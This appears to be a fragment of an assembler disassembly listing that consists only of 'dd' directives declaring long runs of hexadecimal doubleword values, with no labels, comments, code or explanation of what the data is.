		dd 488C53E6h, 75122FFh,	396B4500h, 5D2BEB5Eh, 58D4492Ch
		dd 0A381B5C0h, 0F6500925h, 0A4AE7480h, 0D3062E00h, 5D9866F8h
		dd 1F61C88Fh, 0AF81329Ch, 75C2C9EFh, 2B2A80EFh,	1989FC43h
		dd 0B8366B70h, 0EBC99DD6h, 63470020h, 0DE493FBh, 97051E62h
		dd 0C22D90D5h, 645B8848h, 0A8F608Ah, 4987F33Ah,	0B1761969h
		dd 5414DF39h, 0D4BF11C4h, 3D665A0Ch, 0B1746749h, 0A6AE0E00h
		dd 8A9B483Ah, 4EBC1F4Ah, 0FBEC090h, 5E8F0A78h, 24601D49h
		dd 2C0050FDh, 0F0D53BF3h, 0EE540471h, 9258FA2Ah, 3C144F70h
		dd 2C402E46h, 5A0C5350h, 22A4F848h, 2A9098BBh, 32B0A2A0h
		dd 9A19B8A8h, 27EDFF40h, 43CE9603h, 28687EAh, 0A87E94D9h
		dd 38449DB4h, 6F7BD210h, 0A50E1053h, 64600A08h,	0DA9C3687h
		dd 7EB94D01h, 62A38432h, 0BA529D40h, 70C9B82h, 9004A803h
		dd 1B838A93h, 73C5B49h,	4CAD845Ah, 0D375F71h, 4FA6B19Fh
		dd 0EFE0AF05h, 942BB72Fh, 0BE071602h, 0A023FF58h, 6D0433B8h
		dd 2FED03AEh, 28C954CAh, 9F8BB0D9h, 95428E20h, 4927E764h
		dd 66105C28h, 5B02DD59h, 51756D6Bh, 0A254A42Fh,	0E308C8h
		dd 84675A07h, 37B9CC72h, 2CC77900h, 927D28A5h, 1D540026h
		dd 0AE19474Ch, 0E61DF6CCh, 73CAC68Ah, 3804A024h, 53408BADh
		dd 20BD1ABh, 66CF1000h,	883A767Fh, 0ED682823h, 358E1598h
		dd 3E00809Ch, 4E980DC2h, 773EE80Fh, 8062385Dh, 0B245DF5Bh
		dd 1EC359Ah, 0D5593FFAh, 23B9F3A8h, 4371828h, 45C349h
		dd 93C633C1h, 0FC1F4D69h, 5470AB26h, 4606A088h,	8C01A983h
		dd 82F180B3h, 9C52786Ch, 8F37201Eh, 0AC003659h,	3050D013h
		dd 24AE3B17h, 684867DFh, 0A0FDC1FCh, 56024DCh, 10CC4200h
		dd 9D19BB6Dh, 54D60632h, 697D13AFh, 925044h, 0B993B65Fh
		dd 47A1E446h, 4FEA2800h, 6A41BE3Ch, 0BBFE10CFh,	0DB2050BAh
		dd 0A84949h, 0DF1693F0h, 90E87781h, 0DA4F22E4h,	9717EE04h
		dd 9CCC518Bh, 4116F9D0h, 803C7458h, 86221A37h, 4210A4BBh
		dd 78391741h, 98E43115h, 836FAB50h, 1BD46852h, 0A420F72Bh
		dd 482D898h, 0D9C973B6h, 98B884A4h, 7B382B98h, 0B766731Ah
		dd 6738B199h, 4BD269F8h, 5C029832h, 0B8AA0B0Ah,	0D019C078h
		dd 632F8260h, 1A35CECh,	8D8E763Ch, 40007240h, 18C35A28h
		dd 26C7390Ah, 0E0ACE749h, 61AEB740h, 0E33AF600h, 0B696121Eh
		dd 351920E8h, 8D2C7243h, 0BC425234h, 0F3026046h, 0EDDE476Ch
		dd 59CC11Ch, 6FB0B10h, 4C989053h, 94897760h, 99FF9070h
		dd 9B7D00BCh, 7515E62Ah, 5196F502h, 0E0F62D6Dh,	0E44738D7h
		dd 0E8880ED0h, 0C094D128h, 410FF89h, 0AD071FF3h, 38632F66h
		dd 31956C6h, 3116127Bh,	0C1EEEA75h, 91C470ECh, 0F123445Ch
		dd 9C784388h, 26618261h, 0DCCD2D8Bh, 0B9E57CC0h, 0DFA23E58h
		dd 0F4D6D515h, 21F034BCh, 0EABD188Ch, 5DE7005Fh, 0EB8F3848h
		dd 0BE0481B8h, 532529F6h, 0EFD3401Ch, 5941D5C2h, 0F38F8212h
		dd 0E9174C01h, 0F0A9B30Dh, 0E4E89514h, 6400DC22h, 0A3BDC59Ah
		dd 1FFA878h, 93EB0C7h, 974FE0F5h, 0A0203660h, 0CCCA39h
		dd 3D2556D9h, 0E2B4317Bh, 0C40E2A28h, 0B72144h,	121A73DEh
		dd 9E2DA480h, 7D7AF61Dh, 0E96B630Ch, 18110039h,	8094D6FEh
		dd 0ACA9C47Eh, 0A1C034B2h, 0D3744h, 0EA2A4F24h,	0E8C1A82Bh
		dd 0F9E77C00h, 2E626D67h, 74354C9Ch, 0A7C07480h, 0B601C3F1h
		dd 8E68D90Eh, 0C4313D4Eh, 30504C22h, 452A8443h,	0F88684F2h
		dd 0EA27E302h, 4962F3DCh, 0E823D160h, 0EABC5E2Ch, 4B976020h
		dd 3B134CEAh, 24286378h, 73B70629h, 914CD1CAh, 8C55E0A1h
		dd 89DEA159h, 0B32E00A9h, 84BCF831h, 3801F468h,	1FD7C6Eh
		dd 0F4268A87h, 691F0503h, 51381531h, 8824C57Ch,	89EC0990h
		dd 18A2FC8Dh, 90518B86h, 518A5510h, 5CFE8388h, 618607CAh
		dd 0A77E3901h, 691D240Bh, 30B948CFh, 0A038CC50h, 12593A1Ch
		dd 3249EB99h, 6F26C870h, 95050031h, 0B507B6AEh,	5D4A8B9Fh
		dd 3C857825h, 0F09FD4CCh, 1EA604F3h, 0C4E37F87h, 90C8D41Bh
		dd 696CF080h, 68ACDE28h, 3F518D3Dh, 1AF38ED2h, 9E5C20B5h
		dd 5CCA5232h, 758D64F5h, 8F3441B1h, 80C6E127h, 0E471C11h
		dd 76AF72A9h, 84851297h, 0DB18448Dh, 0B9785806h, 39CF07EFh
		dd 90596F1Dh, 3AF38EDFh, 9A37609h, 8D184846h, 3D6CAC97h
		dd 0A60EF96Fh, 0D741E42Ah, 3233551Ch, 0D9144C24h, 0B08DA79h
		dd 59DD2C37h, 8952D4C2h, 0B0B48864h, 24361409h,	98A46698h
		dd 2AB000B7h, 62C98442h, 0CA006108h, 0B8D9CEF2h, 1E920C12h
		dd 0C968390Eh, 0F88BEFC0h, 5719B8B0h, 0F0C5B83Ch, 9D0BCD00h
		dd 4656330h, 3E44181Ah,	0AFD588F1h, 0C0254A9h, 8CA8EA3h
		dd 0B06D875h, 829D914h,	0BB7E278Eh, 0A66330A6h,	7F298002h
		dd 0DC301B9h, 0B6FD3B8Fh, 0ECE4D634h, 7D834804h, 3C89E1DBh
		dd 2C111561h, 70103Ah
		dd 0C9C112D3h, 81A895DCh, 82544810h, 0C37DB6E9h, 94C466h
		dd 5604576Fh, 7B62256Dh, 66E49251h, 119600A8h, 0E84DBDDAh
		dd 0B75F0F61h, 2E715C07h, 0E8E8C4D4h, 9C378384h, 0DF916B40h
		dd 800334Ch, 8ABB5F38h,	3DB9C1CFh, 10F5BEF2h, 151A927Fh
		dd 2728CDD5h, 3BCC20A0h, 0FA025EF2h, 477003FAh,	752E653Dh
		dd 0FBD0ADC8h, 282A8572h, 14218C72h, 0A0360CCFh, 1F00C289h
		dd 5B8656A2h, 0BBDF48h,	63FE0A12h, 0E973604h, 3A2CACA4h
		dd 946E58EBh, 0C70384F8h, 0AB440953h, 1C50AFh, 113BCD3Eh
		dd 0EB00430Dh, 0D1B645B3h, 74DAB2h, 0AD841F4Bh,	8ED4D83Dh
		dd 4C117E2Ch, 4B665A89h, 2CAD88ECh, 0DFC900BEh,	0D96B99D8h
		dd 0F2187224h, 146984AAh, 1244000Bh, 0CBF45AEEh, 57EC4203h
		dd 98B72300h, 0EAA54C1Dh, 0FDC9CEA6h, 0CFC3F494h, 3FD09D8Bh
		dd 9F481E55h, 8CCA1618h, 0E8F84804h, 0E6A4C812h, 21DD250Fh
		dd 4821906Ah, 0EBD0D288h, 3C50FC32h, 39808E02h,	46DC7294h
		dd 52014B58h, 0D6688834h, 0C5FCC077h, 250F4400h, 6FF8C756h
		dd 34838008h, 933D8499h, 608F468Ah, 69468965h, 0A37CD054h
		dd 518840Eh, 5D8CF22h, 0BC0058D3h, 0A86CB2Ah, 186C7445h
		dd 8F2D0A3h, 85602430h,	0FD59CA10h, 0A9E890h, 0F3F0930Dh
		dd 262460ACh, 526A20C7h, 25D6C757h, 53060011h, 0F01D1B1Fh
		dd 29C0678Ch, 0CC6B0981h, 7270C4CAh, 8B2346BCh,	0C5620069h
		dd 80611C78h, 590C37E9h, 28D4CED1h, 5D0422BDh, 2BA4261Ah
		dd 0C98F06B8h, 41E2C020h, 49EAC783h, 0CA1CCF7Fh, 70F77F17h
		dd 7C79D4E6h, 56A8876h,	58509D00h, 0F62C1C7Ch, 83B2069Ch
		dd 0A8152D0Ch, 0A3232603h, 0E9847E22h, 198C4AF9h, 30C9096Dh
		dd 1EF2C400h, 72859604h, 0E2F806E1h, 98E3C64Bh,	34B1A863h
		dd 0CDA900BFh, 0D66BB12h, 0BD3D67AEh, 10E100E4h, 0FFCE8298h
		dd 78B180CBh, 0A25F105h, 5800836Ah, 0D8F00506h,	8010549Fh
		dd 8CC453C3h, 0E2540607h, 0C00F4167h, 46BC5723h, 0EB00218Ch
		dd 2B1E9D52h, 12E95DF4h, 4A32B8CFh, 608C4C00h, 0FCC4BAD7h
		dd 0E81C9031h, 489DA43Eh, 83072050h, 1DF8298Fh,	0C4489425h
		dd 35F9FF7h, 0C87F895Ch, 98A40BE2h, 9CF24112h, 3F45D5Eh
		dd 1B34927Ch, 0F97B17D9h, 0D47C2EC2h, 0D051D318h, 0F0990204h
		dd 1DABBE39h, 950A2600h, 0B1270011h, 0C5075A4Ah, 6E0AEC55h
		dd 7C9EC4E7h, 79B14E18h, 687E422h, 6698323Dh, 0EE63207Ah
		dd 704F2481h, 61C40529h, 81C84599h, 41153A66h, 81CB7238h
		dd 43066891h, 78226D1Dh, 0C8B737Ah, 0BE2D1675h,	0DA1F29B9h
		dd 33C17CCAh, 43EF020Eh, 0AC274C45h, 0E6316870h, 286A0582h
		dd 5F91CF6h, 40666D84h,	4C477D98h, 9D009F14h, 8D5B455Dh
		dd 2048AC4h, 0F761933Dh, 0C30470F3h, 0CE4B0A03h, 2123A918h
		dd 4C66D9h, 5A348742h, 7081B018h, 641DD90Ch, 3017685Ch
		dd 30B9F18Dh, 0AA3F0669h, 8E298AD3h, 0BD88C8A0h, 51CA85FEh
		dd 6A8C210Ch, 978110C9h, 0E4E4A8FCh, 0EF1D138Ch, 34304685h
		dd 6D0129F5h, 37A0EC44h, 0D45CFD0Ah, 3857166h, 0B2B9D246h
		dd 5915F2F1h, 3F8802E2h, 71C078C3h, 0A959ECF6h,	7543001Ah
		dd 4F7EAFCBh, 0A41E0D38h, 0C0642B47h, 0BD761741h, 0A844D312h
		dd 57452100h, 0CE1DD462h, 0E94B6FC6h, 10A41F64h, 68F7C0C4h
		dd 719C70DDh, 0A220025h, 0B93892B4h, 317DFD2Fh,	923DC420h
		dd 41A76434h, 60854F65h, 0E7934576h, 0F25E0179h, 0C963AE2Eh
		dd 0F0DCE49Bh, 809438D1h, 7192E67Eh, 0A0E87947h, 28206AACh
		dd 4464FB98h, 0EB004575h, 5EB91865h, 70B7F20Bh,	0A80A859h
		dd 29856A71h, 66A50051h, 8D1314C2h, 2B60C549h, 5A808CB7h
		dd 0C914BB49h, 0EC7510D5h, 0BCD329A2h, 95067E00h, 2C8E72EBh
		dd 0A410A5h, 3FF7FC3Eh,	4A29C4BCh, 0EF08A01Eh, 0E45200CBh
		dd 0FF065F7Bh, 0C71E43FEh, 5AC0B15Eh, 7432193Fh, 6B683077h
		dd 0F5058138h, 0C6C8A888h, 8C7A7F0h, 0E43452h, 0FA1FE314h
		dd 0C3993Fh, 9A5EF4B5h,	0C25879E1h, 486E98A9h, 8F0054E0h
		dd 0C99EE3D5h, 1D7983AEh, 0C07EBFDBh, 0B4EC382Fh, 202954C0h
		dd 0BD0DC092h, 0C892F847h, 14702225h, 6D4460C6h, 74264C6Ah
		dd 0FA801388h, 0D3B73B58h, 0D7ED3B07h, 1C33A981h, 5050CFBFh
		dd 0B67F6A90h, 0FD2BD309h, 66A0909Bh, 1C0D0525h, 8027B83Bh
		dd 1A08354Ch, 0D9B54601h, 7997AC7Ch, 823ACC34h,	0F630E020h
		dd 0AB0475C6h, 430B9C03h, 88CDA4C8h, 0A60FEC7Ah, 208975DFh
		dd 1213C95Eh, 8BBB00CFh, 0E78599A4h, 44E1BD35h,	0EEFC907Ch
		dd 10998917h, 51C7D30Ch, 0E91E0DEAh, 410FBBFh, 3124DDD4h
		dd 10E409F8h, 0FD241790h, 342B0A4h, 71FC3D2Ah, 33CC4109h
		dd 0D96C00ECh, 0EC6F01D1h, 0CC0E5810h, 20B3AB8Eh, 8A8E52C0h
		dd 4278C3Ah, 4A7F82B5h,	99588096h, 0D0C51418h, 0FBE485C0h
		dd 0A13C5BE8h, 61A6007Ah, 0C21DA5B6h, 0F4A05895h, 0EE801788h
		dd 0F4970A20h, 96400090h, 0B8ED2B31h, 0D3636A13h, 3423F1h
		dd 0E397BB71h, 0BF18CF9Fh, 0EA6AC00Fh, 0CDCCC7D9h, 0AE462330h
		dd 2AE0B29Bh, 0E8416D2h, 787E7A33h, 93CFE5A0h, 6701E891h
		dd 0A6BF9CD1h, 77F84263h, 7469016Fh, 6E8C2837h,	50B057FBh
		dd 0C89CF81Fh, 0B04F9415h, 0FAB811C0h, 54770A15h, 0F9AEF5C2h
		dd 0D32A140h, 814F2A1Dh, 25085440h, 7E21BA4Ch, 30A8D68Dh
		dd 18D0E960h, 90A89100h, 0B4595827h, 0E5BE0146h, 0D8A40469h
		dd 8699884h, 90368F08h,	0D0100DAh, 14A97516h, 0F2434CAh
		dd 0A64AC92h, 69F3185Fh, 5A0068B4h, 0A1EE1D4Dh,	99C7B7B3h
		dd 247C2AACh, 80206223h, 5989CDF2h, 3C9AA1C5h, 0E5516C60h
		dd 0B8E93E8Eh, 0CEC10015h, 44F045D4h, 7B09EC85h, 22CB9846h
		dd 0C80B8D10h, 0CE51B7D0h, 902D61h, 0E77C53BCh,	1D12D418h
		dd 904764h, 0B33F1EE8h,	495C3B1Fh, 80F288F4h, 3FA7F339h
		dd 7F0429BDh, 0FE4FCD9Fh, 3802DC84h, 0C8F176B7h, 4CBDA490h
		dd 14B09CFFh, 2D037CE2h, 8895AC8Bh, 0DC408FEAh,	13E1B690h
		dd 190167EEh, 1033B1BCh, 7E689Eh, 617C105Bh, 0EFE98AAh
		dd 0B2093Eh, 0F0ED9C07h, 90881C2Eh, 500224C4h, 0C86A6594h
		dd 4C908B74h, 88EC3000h, 0D9B63848h, 485FECB1h,	0AC4D90ADh
		dd 204BECA1h, 0E9002A25h, 26D45D01h, 52F7D38Dh,	0C1008063h
		dd 1355EC22h, 0BF2EC5D0h, 0A060F815h, 16F6AE8Dh, 44EAA6D2h
		dd 44F393E0h, 4B24CBDh,	84D85168h, 88F9CF81h, 1A224C78h
		dd 892D4487h, 0E1EA8500h, 78C64154h, 0D2260766h, 0B0747743h
		dd 0CBF68B98h, 0F400E49Bh, 48B16630h, 8D40005Eh, 0D282A37Bh
		dd 0C433883Ah, 11F3600Fh, 248A4799h, 0D940CC6Dh, 0E2ED8366h
		dd 0F7A5261Ah, 0B47C4484h, 8AFFC74Ch, 0C4164941h, 511F4F42h
		dd 0C40C00B8h, 6B354265h, 7C91E726h, 0E28E2041h, 2422C049h
		dd 0BD7E5500h, 0D880CDADh, 2EF138h, 0CC59FCB3h,	93A1312h
		dd 8BD20A91h, 6C742098h, 3EDAB702h, 578A8DEh, 0BCDC00EEh
		dd 9D7CD88Eh, 0C3379F12h, 4A00585Dh, 0EE40730Bh, 6E421Ch
		dd 0F9C6914Ch, 381FB7E5h, 0E700410Fh, 0F69D79D4h, 0F9A06099h
		dd 0E8B01540h, 0B181D091h, 0C450EE4Ah, 52F0BAC6h, 0EC550774h
		dd 4076BC6Dh, 5FF08F51h, 88D4334Ch, 32D58C0Ah, 0B00BB28h
		dd 77FD4C0Ch, 243F12F1h, 87686836h, 941DD069h, 2E3CE424h
		dd 0F90440Fh, 0C83AA016h, 2673A19Bh, 8D0260Dh, 6C07867Fh
		dd 0E68E0F74h, 122F210h
		dd 9922C6CDh, 29E97F20h, 208C27A0h, 83B23F8Ch, 4AE8B04Eh
		dd 0AD2832CCh, 990B9580h, 869828FFh, 9842FA00h,	7E40FCEDh
		dd 656A09F5h, 0C8C9A43Bh, 3F4441D3h, 822EE06Fh,	4015800h
		dd 0BF0CB0D5h, 0BDE0C11Fh, 37A419EBh, 837C3E84h, 181F12B5h
		dd 0D823E0EEh, 0DCC9023Ch, 93FDDB62h, 7358900Bh, 3F2A00AFh
		dd 0E71E13E5h, 8403E67Bh, 5446D287h, 7E73B837h,	430D03A5h
		dd 500C6CD6h, 2F1FD1E7h, 0F0188655h, 8A497h, 653442F4h
		dd 437C0E89h, 4BEB21C0h, 0E65E279Bh, 4F740002h,	9693D636h
		dd 940CA2DEh, 59A554EEh, 0F408C16Ah, 804DA68Dh,	0CE890218h
		dd 4FE02Dh, 7D81510Ah, 1D841E94h, 0A6469E06h, 0C06888CDh
		dd 0C9CC4238h, 326F5BD2h, 8ED8D41h, 0C02455CCh,	68F79129h
		dd 18005D9Fh, 3DF1DC3Bh, 0E7D16Ch, 64668C84h, 5256EC1Dh
		dd 0C45E31C0h, 3716CE4Fh, 135893FAh, 0E11F261Ah, 0C1F1D443h
		dd 7980A78Eh, 784858CCh, 99001449h, 4489B794h, 19E18A2Eh
		dd 29B3D48Dh, 10A85101h, 8AFC0936h, 3FD60165h, 2FED6DFEh
		dd 5F618049h, 0B3BB3B36h, 64050016h, 83EF998Fh,	0F403EAF5h
		dd 0A0B943Ch, 997098h, 1C50B56Ch, 1D2F8B79h, 0F0B4CA06h
		dd 108C9DFh, 0AE6EFFBAh, 438C2172h, 50E06AFDh, 913080BCh
		dd 6E88313Ah, 0BC195F94h, 0ED1879C4h, 0A3596D67h, 196038Dh
		dd 63EF3972h, 0CA8BC4A8h, 0E8052D01h, 2ECF540Ch, 44C5488Ch
		dd 3300A451h, 2AEB8C22h, 3E9FF01h, 54BB73DFh, 899BCA1Ch
		dd 0D6B869F0h, 0C06E760Ch, 6055B1EDh, 0FC50400Fh, 0D600FF3Bh
		dd 0AB70C5B2h, 3AD26D0h, 0F181CDCh, 281401A2h, 4C544443h
		dd 604D30DEh, 71A6D9h, 436533DEh, 5F70B0DFh, 0B722F908h
		dd 38C2030h, 0C5588DDCh, 39012618h, 0F95CCE46h,	1086EE50h
		dd 91BFAF1Fh, 50A43778h, 8FC61D09h, 35A2805Fh, 7665FD7Dh
		dd 8AE06EFh, 315E1E72h,	0B2C944h, 0E2534F29h, 749AFEB7h
		dd 78088A30h, 0CE4CFDB3h, 92293670h, 0F0FA1480h, 1A0039B7h
		dd 1FC67532h, 0C02C84FDh, 7A346A30h, 58C66B26h,	0F808C567h
		dd 0AEEA0706h, 0F00F335Dh, 93A4453Dh, 38B058DFh, 0A841A879h
		dd 6F4743D0h, 358A39C7h, 0B311B180h, 28A1028h, 5D0D1C17h
		dd 907E416Eh, 24624004h, 8D016720h, 1FEA2783h, 41841AC3h
		dd 4C0D3EC5h, 3146B12Dh, 0BAC63F94h, 67298A68h,	7680DC79h
		dd 88DDCC12h, 91DB0084h, 588074A1h, 9C494310h, 3049240Ch
		dd 0A1073991h, 3350202Bh, 49007B68h, 3769C4AEh,	4C106FFBh
		dd 0CD1EA9F5h, 839DC3BAh, 9851FC4Dh, 0A10AFF52h, 30E04A54h
		dd 0BCF0B881h, 21BD27B2h, 8017709Ch, 697A8E32h,	81C440C5h
		dd 58C1C6E3h, 9F49862h,	0C83B04C9h, 0C0241683h,	6AACB7A6h
		dd 64512D14h, 8D3C80ACh, 98F41E57h, 80BD0A49h, 80BC4EA6h
		dd 0E54CBB48h, 0D300BCEDh, 0F0764406h, 9BC22Dh,	1B269315h
		dd 41AFA2A3h, 67419EEBh, 45C46643h, 0B1780Bh, 8B46DE7Ch
		dd 277589D2h, 403F4428h, 0B61DA200h, 2833ED3Eh,	8A79211Bh
		dd 22654502h, 0E24443F9h, 6014448Dh, 89500955h,	530F9182h
		dd 844BFEC8h, 8C91CB35h, 0B7F08AD1h, 0A19CA47Ch, 3C409B30h
		dd 453BA3h, 35E63F5Bh, 5657986Ch, 8E210E60h, 37C16Eh, 7962602Fh
		dd 94F64B43h, 238A3C1Ch, 241BCF42h, 2DC444B9h, 0B9D03230h
		dd 942DF528h, 5400AF74h, 29ED7A4Bh, 19EA21Bh, 151370BAh
		dd 81BF683Bh, 1A11B289h, 80E00E6Ah, 809166h, 52F66598h
		dd 8500A295h, 6EC91606h, 1EA5B1E3h, 716F17BAh, 0B59148h
		dd 1E83F97h, 3CEB7675h,	8A124BC6h, 982CC5F9h, 9035CE80h
		dd 1AE3BCh, 66E6BBE7h, 0EA303470h, 1C68D3Ch, 0D72A8238h
		dd 94208F18h, 4C9A6Ch, 0B6FEB29Ch, 0D2C6B66h, 10BDC424h
		dd 1FC9E702h, 348491BBh, 9121E4E1h, 0B4006405h,	2D541E87h
		dd 3FC518E7h, 37B8990Ah, 91795D09h, 35381056h, 0DC8B5213h
		dd 59C2637Ch, 0D4D87A4Eh, 77007223h, 0B675223Ch, 13BBED35h
		dd 0F25AFA5h, 0E3233BC1h, 380041F4h, 0A334B7B8h, 980B8D60h
		dd 0AB0920Bh, 7A6806ECh, 0EA98879Ch, 2DE82048h,	0E093B71h
		dd 199F0A2h, 6B20025Ah,	8AC0B830h, 3A413042h, 0BE5C3108h
		dd 0CEED00C9h, 683943A2h, 0AF59C074h, 58472E8Fh, 0C0921B00h
		dd 1AB45227h, 91F901F7h, 0D4FDD0EDh, 37898F1Ch,	0A43CE932h
		dd 6A403828h, 605CBB45h, 3B33300Bh, 2BA824D7h, 0B9FC3052h
		dd 0C3006A2Ah, 7C425F88h, 8D32FEh, 6F0C8EA0h, 7AC953F2h
		dd 0D16C253Bh, 826800ACh, 89000E9Ah, 77E438FFh,	2CD6B997h
		dd 6000D718h, 6BB2B0CEh, 0BE69C700h, 400A314Fh,	463E04F8h
		dd 81618614h, 1238CDE0h, 0DF5410A3h, 0E8646900h, 8610C03Fh
		dd 2A1A03F9h, 35BF9BB8h, 1C6A3003h, 0E0094E44h,	54B2BB70h
		dd 0FE5AC1Eh, 2232CE6h,	0F7B8A120h, 0B228E860h,	9344E08Ch
		dd 0A4BF0088h, 0F63AC836h, 2D13DA04h, 20BEDh, 2E6FC076h
		dd 755B5E5h, 0B770037Ch, 1FC4103Eh, 0D600C6B3h,	4ABD2F28h
		dd 7D9B8D0h, 0BAED48B9h, 49FD60DBh, 0EE042DC8h,	2F9E445Dh
		dd 68B518C2h, 0ED54BCh,	188CDF3Fh, 558A7692h, 1BFE903h
		dd 0E580E026h, 30B780C8h, 0BAA06B2Eh, 0A924FCE1h, 0BC404464h
		dd 0C00337h, 0DF9BEA2h,	27AC811Ah, 620E5800h, 0F6E44BD9h
		dd 3BB7A9Eh, 0B104DFF4h, 0D100C655h, 0FCA11FBEh, 0D7E3A2Bh
		dd 54D0B323h, 171022ACh, 0C461A779h, 0F050FBB2h, 6A5C49h
		dd 328E2B79h, 7E76EC19h, 4DE6FE00h, 5E86559Bh, 734412F0h
		dd 0EDCC4B4Eh, 0C7059418h, 5AD33200h, 18F719EAh, 0A820070h
		dd 7791DDA4h, 0CB02D458h, 148B6A83h, 6BF8401Dh,	9E43801Bh
		dd 6A497665h, 9448D887h, 65808C67h, 725CA0F8h, 320173E6h
		dd 7D9A3424h, 0D8C4AA5Ah, 0D48B146Bh, 0B918E46Ch, 3D3041CFh
		dd 19623472h, 221CEE70h, 0E02A9F41h, 0A4222512h, 1F532011h
		dd 8400C2CEh, 38946A31h, 0FC9EBB0h, 97759E4Ch, 0AFAB0B36h
		dd 0C8C23E84h, 0D50046ACh, 0E6056CCh, 855CBh, 3D8C7349h
		dd 0E0504A78h, 0BA7D151Fh, 0AFD0B642h, 67504053h, 78C0503Dh
		dd 2CF08893h, 24EB5501h, 0D21D36C5h, 0C3347CD0h, 515D5476h
		dd 0E49030EAh, 2F0FE43Fh, 8B7DD681h, 0E07893BBh, 0F25CD3B3h
		dd 562A1992h, 0D5BC79A1h, 4100E7ADh, 0B75F52D7h, 501FC840h
		dd 67904Ah, 11F61297h, 4CDE3074h, 0DFE8AA00h, 0EF8B546Ah
		dd 3BAC3740h, 0D9C67041h, 18090423h, 0E74F9Ah, 65B72D4Ch
		dd 0ED59026Bh, 0B0249C49h, 0BA50F8A1h, 0A10A304Ah, 61A36A01h
		dd 4555960Bh, 1751C70h,	74792C99h, 64B1E047h, 5202CA20h
		dd 970D66CEh, 46186027h, 0AB2C3185h, 604D3008h,	61C29CB8h
		dd 0E4C28F1Ch, 95B30014h, 0AFC17C5h, 8C170CBAh,	0EE0066A7h
		dd 0D472D348h, 0B9980219h, 5592DBB7h, 0C4FDCC48h, 794BC5Ch
		dd 0A56B3B9Dh, 2546C631h, 361F4C34h, 2871BEC4h,	76AF8B0Bh
		dd 19400215h, 0DC52B3h,	7F2F0D5Ch, 8EDF8F67h, 6C55E211h
		dd 0A9128500h, 0E77DAE63h, 0CB0060F4h, 969DD9BEh, 0A380A7Ah
		dd 0B4D2904h, 0C3550CBCh, 51047C39h, 900AC18Eh,	0F26512C0h
		dd 0E0FD2EEEh, 2D6701E4h, 4B203E4Eh, 7C6D11A0h,	88C1B450h
		dd 0D70A09C5h, 0A4B749D6h, 96814210h, 81477FA8h, 0DA550CD9h
		dd 4684B092h, 0A05E9944h, 0FA4CB3A8h, 5F598024h, 1D767177h
		dd 40E35155h, 8DB2231Bh, 0D104BF29h, 0C27F4A22h, 396758A4h
		dd 8A3DE148h
		dd 2BAC0581h, 0C0790AB5h, 0D0B5E9CEh, 0B97898C6h, 0E8C60708h
		dd 0A834815Fh, 809CF04Ch, 9416A622h, 617B406Ch,	6C071210h
		dd 6716DFEFh, 582F9601h, 28000831h, 4A12C649h, 0B8BC4029h
		dd 35C56B57h, 2A4851C3h, 62B7E0C3h, 0EDD40445h,	0C250A281h
		dd 28207B80h, 9202F2h, 396F4A7Ah, 6A58756h, 0EDB9BD01h
		dd 42C26D6Eh, 0D851A0h,	48571179h, 6907B224h, 0BAA36B05h
		dd 0E8C0987Fh, 0A20C44C6h, 3811C048h, 0E04026A3h, 0FB1E0441h
		dd 0BAC0C36Eh, 60FDE4C1h, 0D40123ACh, 0EE582275h, 5870C1F9h
		dd 30C940F1h, 0B4D55526h, 3022AB1Eh, 0C29137C5h, 0D23B04F1h
		dd 78358083h, 2AF22BE3h, 0BE5A07B0h, 0D96848B8h, 79E71C8Fh
		dd 438538A2h, 2802C347h, 8406082Dh, 3053E8ACh, 4A6DA2B4h
		dd 0DBEF6409h, 363E800Dh, 1647F5ABh, 0F1B5DD6h,	1D255A4h
		dd 359D93FEh, 0C0D8386Bh, 29E5ED83h, 0DBD20F2Fh, 0B96130EBh
		dd 85BFA255h, 2313C598h, 0D6FE9821h, 0CC637461h, 5800D443h
		dd 862B3263h, 75000DECh, 1030D5B3h, 16AB8F5Ah, 42AA46Fh
		dd 44B4B098h, 55492690h, 947010C8h, 0E493B500h,	0C19E37D4h
		dd 832B2E2Ch, 36170389h, 8FF8ECDFh, 0DA0B6A01h,	26B30A3h
		dd 82C545C4h, 283BA92Ch, 24C911CCh, 0E5E4D8B2h,	0D124B346h
		dd 0DE12E100h, 0ED65899Dh, 1D297EA1h, 4A66A227h, 60EC63CBh
		dd 0E71A68Dh, 1CFB5A03h, 0D09523B5h, 0C4C4BA24h, 0B412C5C9h
		dd 0EE0954D0h, 0A5E0DB49h, 2400C288h, 79AAA7D6h, 1EFB1F63h
		dd 0E9B94416h, 186888C5h, 0A3BE5304h, 11804320h, 0F9E28B14h
		dd 0CF006023h, 0F1EE533Ch, 0CD4B2409h, 0C60B1449h, 0C04200E8h
		dd 4C3CC457h, 6C0443ADh, 981B3895h, 35007CE3h, 1E755A28h
		dd 340014CDh, 4CDFF2B9h, 9AAF898Bh, 22454B4Ch, 0CC66A2F0h
		dd 38B1BD28h, 70FB60EEh, 83001653h, 1D692F43h, 25F33A6Eh
		dd 4027B3D5h, 560E500Ah, 6A00BBDCh, 5BE83999h, 0B0BEE051h
		dd 0B51F1988h, 2967716Dh, 784807FCh, 12C0BCE8h,	7E3E94h
		dd 0EFB3B957h, 0FA509E47h, 2453C0Bh, 0C438098Fh, 72830794h
		dd 0D179AB38h, 0E9F8F6F9h, 0B5882007h, 808C585Ch, 45C34BD6h
		dd 4AF0C398h, 790A9268h, 0B7159940h, 0FE12FD39h, 0D832A778h
		dd 9A7B3048h, 2A22FE0Fh, 0DB54A01Bh, 0DD2576h, 4162E4EDh
		dd 4669A934h, 4037B826h, 80DF5302h, 10D47990h, 44A6C89Ch
		dd 1878E253h, 0BE1922B3h, 5F281F9Dh, 0A45E40E9h, 3E4278C4h
		dd 144C717Eh, 0E73F8600h, 0E3BE44A8h, 0A84CC105h, 0EC632D59h
		dd 0C480A1A2h, 26FC46FAh, 2540188Bh, 14C0C81Ah,	0B026493h
		dd 0B03C8847h, 28712Dh,	7566DCB8h, 0EC1D679Ch, 2580A195h
		dd 64E55519h, 80AC9456h, 9CA58577h, 0B81D2B6Eh,	2DCFF159h
		dd 64C1364Dh, 88406BDFh, 80B57340h, 3B8921B3h, 678FCh
		dd 0B143A07Eh, 0AF2C6EF4h, 0CB545D3Ah, 8D798045h, 309BD432h
		dd 9509AC54h, 4867E8B9h, 0F65CE4h, 2B264C6Bh, 0C53ABC9Ch
		dd 45411F67h, 18D0F210h, 0BE8300B1h, 0F9E165ABh, 350327DFh
		dd 0B0560AC4h, 44C89D3Ch, 0C7EE1E51h, 0D12AC0F1h, 0E44B7730h
		dd 47217400h, 3BDF9C6Fh, 37CE4F1Fh, 42D04574h, 0A24E44BCh
		dd 891D8451h, 5E00B1DFh, 30860F95h, 6E170064h, 0F8C69616h
